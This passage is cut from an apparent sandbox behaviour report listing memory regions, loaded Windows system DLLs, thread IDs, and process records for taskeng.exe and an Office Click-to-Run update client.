	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000e0000"
	        filename = ""

Region:
	              id = 1891
	        start_va = 0x100000
	          end_va = 0x10ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000100000"
	        filename = ""

Region:
	              id = 1892
	        start_va = 0x3c0000
	          end_va = 0x4bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000003c0000"
	        filename = ""

Region:
	              id = 1893
	        start_va = 0x4c0000
	          end_va = 0x647fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000004c0000"
	        filename = ""

Region:
	              id = 1894
	        start_va = 0x650000
	          end_va = 0x7d0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000650000"
	        filename = ""

Region:
	              id = 1895
	        start_va = 0x7e0000
	          end_va = 0x89ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000007e0000"
	        filename = ""

Region:
	              id = 1896
	        start_va = 0x8a0000
	          end_va = 0xc92fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000008a0000"
	        filename = ""

Region:
	              id = 1897
	        start_va = 0x77a20000
	          end_va = 0x77b19fff
	     entry_point = 0x77a20000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 1898
	        start_va = 0x7fef9440000
	          end_va = 0x7fef9449fff
	     entry_point = 0x7fef9440000
	     region_type = mapped_file
	            name = "ktmw32.dll"
	        filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll")

Region:
	              id = 1899
	        start_va = 0x7fefd6b0000
	          end_va = 0x7fefd71cfff
	     entry_point = 0x7fefd6b0000
	     region_type = mapped_file
	            name = "wevtapi.dll"
	        filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll")

Region:
	              id = 1900
	        start_va = 0x7fefdf60000
	          end_va = 0x7fefdfc6fff
	     entry_point = 0x7fefdf60000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 1901
	        start_va = 0x7fefed60000
	          end_va = 0x7fefed8dfff
	     entry_point = 0x7fefed60000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")

Region:
	              id = 1902
	        start_va = 0x7feff1e0000
	          end_va = 0x7feff2e8fff
	     entry_point = 0x7feff1e0000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")

Region:
	              id = 1903
	        start_va = 0x7feff4d0000
	          end_va = 0x7feff598fff
	     entry_point = 0x7feff4d0000
	     region_type = mapped_file
	            name = "usp10.dll"
	        filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll")

Region:
	              id = 1904
	        start_va = 0x7feff5a0000
	          end_va = 0x7feff63efff
	     entry_point = 0x7feff5a0000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 1905
	        start_va = 0x7feff860000
	          end_va = 0x7feff86dfff
	     entry_point = 0x7feff860000
	     region_type = mapped_file
	            name = "lpk.dll"
	        filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll")

Region:
	              id = 1906
	        start_va = 0x7feffa40000
	          end_va = 0x7feffc42fff
	     entry_point = 0x7feffa40000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")

Region:
	              id = 1907
	        start_va = 0x7feffc50000
	          end_va = 0x7feffd7cfff
	     entry_point = 0x7feffc50000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")

Region:
	              id = 1908
	        start_va = 0x7feffd80000
	          end_va = 0x7feffe56fff
	     entry_point = 0x7feffd80000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")

Region:
	              id = 1909
	        start_va = 0xf0000
	          end_va = 0xf0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000000f0000"
	        filename = ""

Region:
	              id = 1910
	        start_va = 0x110000
	          end_va = 0x18ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000110000"
	        filename = ""

Region:
	              id = 1911
	        start_va = 0xd00000
	          end_va = 0xd7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000d00000"
	        filename = ""

Region:
	              id = 1912
	        start_va = 0xd80000
	          end_va = 0xe7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000d80000"
	        filename = ""

Region:
	              id = 1913
	        start_va = 0xe90000
	          end_va = 0xf0ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000e90000"
	        filename = ""

Region:
	              id = 1914
	        start_va = 0x1000000
	          end_va = 0x107ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001000000"
	        filename = ""

Region:
	              id = 1915
	        start_va = 0x10a0000
	          end_va = 0x111ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000010a0000"
	        filename = ""

Region:
	              id = 1916
	        start_va = 0x1130000
	          end_va = 0x11affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001130000"
	        filename = ""

Region:
	              id = 1917
	        start_va = 0x11b0000
	          end_va = 0x147efff
	     entry_point = 0x11b0000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 1918
	        start_va = 0x7fef8120000
	          end_va = 0x7fef8128fff
	     entry_point = 0x7fef8120000
	     region_type = mapped_file
	            name = "tschannel.dll"
	        filename = "\\Windows\\System32\\TSChannel.dll" (normalized: "c:\\windows\\system32\\tschannel.dll")

Region:
	              id = 1919
	        start_va = 0x7fefd180000
	          end_va = 0x7fefd1c6fff
	     entry_point = 0x7fefd180000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")

Region:
	              id = 1920
	        start_va = 0x7fefd480000
	          end_va = 0x7fefd496fff
	     entry_point = 0x7fefd480000
	     region_type = mapped_file
	            name = "cryptsp.dll"
	        filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")

Region:
	              id = 1921
	        start_va = 0x7fefda50000
	          end_va = 0x7fefda74fff
	     entry_point = 0x7fefda50000
	     region_type = mapped_file
	            name = "sspicli.dll"
	        filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")

Region:
	              id = 1922
	        start_va = 0x7fefda80000
	          end_va = 0x7fefda8efff
	     entry_point = 0x7fefda80000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")

Region:
	              id = 1923
	        start_va = 0x7fefdb70000
	          end_va = 0x7fefdb83fff
	     entry_point = 0x7fefdb70000
	     region_type = mapped_file
	            name = "rpcrtremote.dll"
	        filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll")

Region:
	              id = 1924
	        start_va = 0x7feff0e0000
	          end_va = 0x7feff1bafff
	     entry_point = 0x7feff0e0000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")

Region:
	              id = 1925
	        start_va = 0x7feff1c0000
	          end_va = 0x7feff1defff
	     entry_point = 0x7feff1c0000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")

Region:
	              id = 1926
	        start_va = 0x7feff640000
	          end_va = 0x7feff6b0fff
	     entry_point = 0x7feff640000
	     region_type = mapped_file
	            name = "shlwapi.dll"
	        filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll")

Region:
	              id = 1927
	        start_va = 0x7feff9a0000
	          end_va = 0x7feffa38fff
	     entry_point = 0x7feff9a0000
	     region_type = mapped_file
	            name = "clbcatq.dll"
	        filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll")

Region:
	              id = 1928
	        start_va = 0x7fffffd3000
	          end_va = 0x7fffffd4fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd3000"
	        filename = ""

Region:
	              id = 1929
	        start_va = 0x7fffffd5000
	          end_va = 0x7fffffd6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd5000"
	        filename = ""

Region:
	              id = 1930
	        start_va = 0x7fffffd7000
	          end_va = 0x7fffffd8fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd7000"
	        filename = ""

Region:
	              id = 1931
	        start_va = 0x7fffffd9000
	          end_va = 0x7fffffdafff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd9000"
	        filename = ""

Region:
	              id = 1932
	        start_va = 0x7fffffdb000
	          end_va = 0x7fffffdcfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdb000"
	        filename = ""


Thread:
	id = 149
	os_tid = 0x574


Thread:
	id = 150
	os_tid = 0x86c


Thread:
	id = 151
	os_tid = 0x868


Thread:
	id = 152
	os_tid = 0x874


Thread:
	id = 156
	os_tid = 0x878


Thread:
	id = 157
	os_tid = 0x8dc


Thread:
	id = 158
	os_tid = 0xb88


Thread:
	id = 159
	os_tid = 0xb9c


Process:
	id = "18"
	image_name = "taskeng.exe"
	filename = "c:\\windows\\system32\\taskeng.exe"
	page_root = "0x771fd000"
	os_pid = "0xbc8"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "2"
	os_parent_pid = "0x36c"
	cmd_line = "taskeng.exe {517D041A-96AC-43BE-8B74-D852F00498C3} S-1-5-21-2345716840-1148442690-1481144037-1000:YKYD69Q\\aETAdzjz:Interactive:LUA[1]"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "YKYD69Q\\aETAdzjz"
	os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e662" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]

Region:
	              id = 1933
	        start_va = 0x10000
	          end_va = 0x2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000010000"
	        filename = ""

Region:
	              id = 1934
	        start_va = 0x30000
	          end_va = 0x33fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000030000"
	        filename = ""

Region:
	              id = 1935
	        start_va = 0x40000
	          end_va = 0x40fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000040000"
	        filename = ""

Region:
	              id = 1936
	        start_va = 0x70000
	          end_va = 0xeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000070000"
	        filename = ""

Region:
	              id = 1937
	        start_va = 0x77c40000
	          end_va = 0x77de8fff
	     entry_point = 0x77c40000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 1938
	        start_va = 0x7efe0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efe0000"
	        filename = ""

Region:
	              id = 1939
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 1940
	        start_va = 0xff2b0000
	          end_va = 0xff323fff
	     entry_point = 0xff2b0000
	     region_type = mapped_file
	            name = "taskeng.exe"
	        filename = "\\Windows\\System32\\taskeng.exe" (normalized: "c:\\windows\\system32\\taskeng.exe")

Region:
	              id = 1941
	        start_va = 0x7fefff60000
	          end_va = 0x7fefff60fff
	     entry_point = 0x7fefff60000
	     region_type = mapped_file
	            name = "apisetschema.dll"
	        filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")

Region:
	              id = 1942
	        start_va = 0x7fffffb0000
	          end_va = 0x7fffffd2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000007fffffb0000"
	        filename = ""

Region:
	              id = 1943
	        start_va = 0x7fffffd3000
	          end_va = 0x7fffffd3fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd3000"
	        filename = ""

Region:
	              id = 1944
	        start_va = 0x7fffffde000
	          end_va = 0x7fffffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffde000"
	        filename = ""

Region:
	              id = 1945
	        start_va = 0x10000
	          end_va = 0x1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000010000"
	        filename = ""

Region:
	              id = 1946
	        start_va = 0xf0000
	          end_va = 0x156fff
	     entry_point = 0xf0000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 1947
	        start_va = 0x1a0000
	          end_va = 0x29ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000001a0000"
	        filename = ""

Region:
	              id = 1948
	        start_va = 0x77b20000
	          end_va = 0x77c3efff
	     entry_point = 0x77b20000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 1949
	        start_va = 0x7efe0000
	          end_va = 0x7f0dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efe0000"
	        filename = ""

Region:
	              id = 1950
	        start_va = 0x7f0e0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f0e0000"
	        filename = ""

Region:
	              id = 1951
	        start_va = 0x7fefdd60000
	          end_va = 0x7fefddcafff
	     entry_point = 0x7fefdd60000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 1952
	        start_va = 0x20000
	          end_va = 0x26fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000020000"
	        filename = ""

Region:
	              id = 1953
	        start_va = 0x50000
	          end_va = 0x51fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000050000"
	        filename = ""

Region:
	              id = 1954
	        start_va = 0x60000
	          end_va = 0x60fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000060000"
	        filename = ""

Region:
	              id = 1955
	        start_va = 0x160000
	          end_va = 0x160fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000160000"
	        filename = ""

Region:
	              id = 1956
	        start_va = 0x2a0000
	          end_va = 0x39ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000002a0000"
	        filename = ""

Region:
	              id = 1957
	        start_va = 0x420000
	          end_va = 0x42ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000420000"
	        filename = ""

Region:
	              id = 1958
	        start_va = 0x430000
	          end_va = 0x5b7fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000430000"
	        filename = ""

Region:
	              id = 1959
	        start_va = 0x5c0000
	          end_va = 0x740fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000005c0000"
	        filename = ""

Region:
	              id = 1960
	        start_va = 0x750000
	          end_va = 0x1b4ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000750000"
	        filename = ""

Region:
	              id = 1961
	        start_va = 0x1b50000
	          end_va = 0x1f42fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001b50000"
	        filename = ""

Region:
	              id = 1962
	        start_va = 0x2140000
	          end_va = 0x21bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002140000"
	        filename = ""

Region:
	              id = 1963
	        start_va = 0x21d0000
	          end_va = 0x224ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000021d0000"
	        filename = ""

Region:
	              id = 1964
	        start_va = 0x22a0000
	          end_va = 0x231ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000022a0000"
	        filename = ""

Region:
	              id = 1965
	        start_va = 0x77a20000
	          end_va = 0x77b19fff
	     entry_point = 0x77a20000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 1966
	        start_va = 0x7fef9440000
	          end_va = 0x7fef9449fff
	     entry_point = 0x7fef9440000
	     region_type = mapped_file
	            name = "ktmw32.dll"
	        filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll")

Region:
	              id = 1967
	        start_va = 0x7fefd180000
	          end_va = 0x7fefd1c6fff
	     entry_point = 0x7fefd180000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")

Region:
	              id = 1968
	        start_va = 0x7fefd480000
	          end_va = 0x7fefd496fff
	     entry_point = 0x7fefd480000
	     region_type = mapped_file
	            name = "cryptsp.dll"
	        filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")

Region:
	              id = 1969
	        start_va = 0x7fefd6b0000
	          end_va = 0x7fefd71cfff
	     entry_point = 0x7fefd6b0000
	     region_type = mapped_file
	            name = "wevtapi.dll"
	        filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll")

Region:
	              id = 1970
	        start_va = 0x7fefda80000
	          end_va = 0x7fefda8efff
	     entry_point = 0x7fefda80000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")

Region:
	              id = 1971
	        start_va = 0x7fefdf60000
	          end_va = 0x7fefdfc6fff
	     entry_point = 0x7fefdf60000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 1972
	        start_va = 0x7fefed60000
	          end_va = 0x7fefed8dfff
	     entry_point = 0x7fefed60000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")

Region:
	              id = 1973
	        start_va = 0x7feff0e0000
	          end_va = 0x7feff1bafff
	     entry_point = 0x7feff0e0000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")

Region:
	              id = 1974
	        start_va = 0x7feff1c0000
	          end_va = 0x7feff1defff
	     entry_point = 0x7feff1c0000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")

Region:
	              id = 1975
	        start_va = 0x7feff1e0000
	          end_va = 0x7feff2e8fff
	     entry_point = 0x7feff1e0000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")

Region:
	              id = 1976
	        start_va = 0x7feff4d0000
	          end_va = 0x7feff598fff
	     entry_point = 0x7feff4d0000
	     region_type = mapped_file
	            name = "usp10.dll"
	        filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll")

Region:
	              id = 1977
	        start_va = 0x7feff5a0000
	          end_va = 0x7feff63efff
	     entry_point = 0x7feff5a0000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 1978
	        start_va = 0x7feff640000
	          end_va = 0x7feff6b0fff
	     entry_point = 0x7feff640000
	     region_type = mapped_file
	            name = "shlwapi.dll"
	        filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll")

Region:
	              id = 1979
	        start_va = 0x7feff860000
	          end_va = 0x7feff86dfff
	     entry_point = 0x7feff860000
	     region_type = mapped_file
	            name = "lpk.dll"
	        filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll")

Region:
	              id = 1980
	        start_va = 0x7feffa40000
	          end_va = 0x7feffc42fff
	     entry_point = 0x7feffa40000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")

Region:
	              id = 1981
	        start_va = 0x7feffc50000
	          end_va = 0x7feffd7cfff
	     entry_point = 0x7feffc50000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")

Region:
	              id = 1982
	        start_va = 0x7feffd80000
	          end_va = 0x7feffe56fff
	     entry_point = 0x7feffd80000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")

Region:
	              id = 1983
	        start_va = 0x7fffffda000
	          end_va = 0x7fffffdbfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffda000"
	        filename = ""

Region:
	              id = 1984
	        start_va = 0x7fffffdc000
	          end_va = 0x7fffffddfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdc000"
	        filename = ""

Region:
	              id = 2009
	        start_va = 0x170000
	          end_va = 0x170fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000170000"
	        filename = ""

Region:
	              id = 2010
	        start_va = 0x1f50000
	          end_va = 0x204ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001f50000"
	        filename = ""

Region:
	              id = 2011
	        start_va = 0x2050000
	          end_va = 0x212efff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002050000"
	        filename = ""

Region:
	              id = 2012
	        start_va = 0x2330000
	          end_va = 0x23affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002330000"
	        filename = ""

Region:
	              id = 2013
	        start_va = 0x2450000
	          end_va = 0x24cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002450000"
	        filename = ""

Region:
	              id = 2014
	        start_va = 0x24d0000
	          end_va = 0x279efff
	     entry_point = 0x24d0000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 2015
	        start_va = 0x27b0000
	          end_va = 0x282ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000027b0000"
	        filename = ""

Region:
	              id = 2016
	        start_va = 0x28f0000
	          end_va = 0x296ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000028f0000"
	        filename = ""

Region:
	              id = 2017
	        start_va = 0x29e0000
	          end_va = 0x2a5ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000029e0000"
	        filename = ""

Region:
	              id = 2018
	        start_va = 0x7fef8120000
	          end_va = 0x7fef8128fff
	     entry_point = 0x7fef8120000
	     region_type = mapped_file
	            name = "tschannel.dll"
	        filename = "\\Windows\\System32\\TSChannel.dll" (normalized: "c:\\windows\\system32\\tschannel.dll")

Region:
	              id = 2019
	        start_va = 0x7fefc040000
	          end_va = 0x7fefc074fff
	     entry_point = 0x7fefc040000
	     region_type = mapped_file
	            name = "xmllite.dll"
	        filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll")

Region:
	              id = 2020
	        start_va = 0x7fefc080000
	          end_va = 0x7fefc097fff
	     entry_point = 0x7fefc080000
	     region_type = mapped_file
	            name = "dwmapi.dll"
	        filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll")

Region:
	              id = 2021
	        start_va = 0x7fefc4b0000
	          end_va = 0x7fefc505fff
	     entry_point = 0x7fefc4b0000
	     region_type = mapped_file
	            name = "uxtheme.dll"
	        filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")

Region:
	              id = 2022
	        start_va = 0x7fefda50000
	          end_va = 0x7fefda74fff
	     entry_point = 0x7fefda50000
	     region_type = mapped_file
	            name = "sspicli.dll"
	        filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")

Region:
	              id = 2023
	        start_va = 0x7fefdb70000
	          end_va = 0x7fefdb83fff
	     entry_point = 0x7fefdb70000
	     region_type = mapped_file
	            name = "rpcrtremote.dll"
	        filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll")

Region:
	              id = 2024
	        start_va = 0x7feff9a0000
	          end_va = 0x7feffa38fff
	     entry_point = 0x7feff9a0000
	     region_type = mapped_file
	            name = "clbcatq.dll"
	        filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll")

Region:
	              id = 2025
	        start_va = 0x7fffffae000
	          end_va = 0x7fffffaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffae000"
	        filename = ""

Region:
	              id = 2026
	        start_va = 0x7fffffd4000
	          end_va = 0x7fffffd5fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd4000"
	        filename = ""

Region:
	              id = 2027
	        start_va = 0x7fffffd6000
	          end_va = 0x7fffffd7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd6000"
	        filename = ""

Region:
	              id = 2028
	        start_va = 0x7fffffd8000
	          end_va = 0x7fffffd9fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd8000"
	        filename = ""


Thread:
	id = 153
	os_tid = 0xbe8


Thread:
	id = 154
	os_tid = 0x85c


Thread:
	id = 155
	os_tid = 0x704


Thread:
	id = 162
	os_tid = 0x884


Thread:
	id = 163
	os_tid = 0xb94


Thread:
	id = 164
	os_tid = 0xb84


Thread:
	id = 165
	os_tid = 0xb90


Thread:
	id = 166
	os_tid = 0xb80


Process:
	id = "19"
	image_name = "officec2rclient.exe"
	filename = "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe"
	page_root = "0x79474000"
	os_pid = "0xba0"
	os_integrity_level = "0x4000"
	os_privileges = "0xe60b1e890"
	monitor_reason = "child_process"
	parent_id = "17"
	os_parent_pid = "0xc0"
	cmd_line = "\"C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeC2RClient.exe\" /update SCHEDULEDTASK displaylevel=False"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\SYSTEM"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000d435" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe]

Region:
	              id = 1985
	        start_va = 0x10000
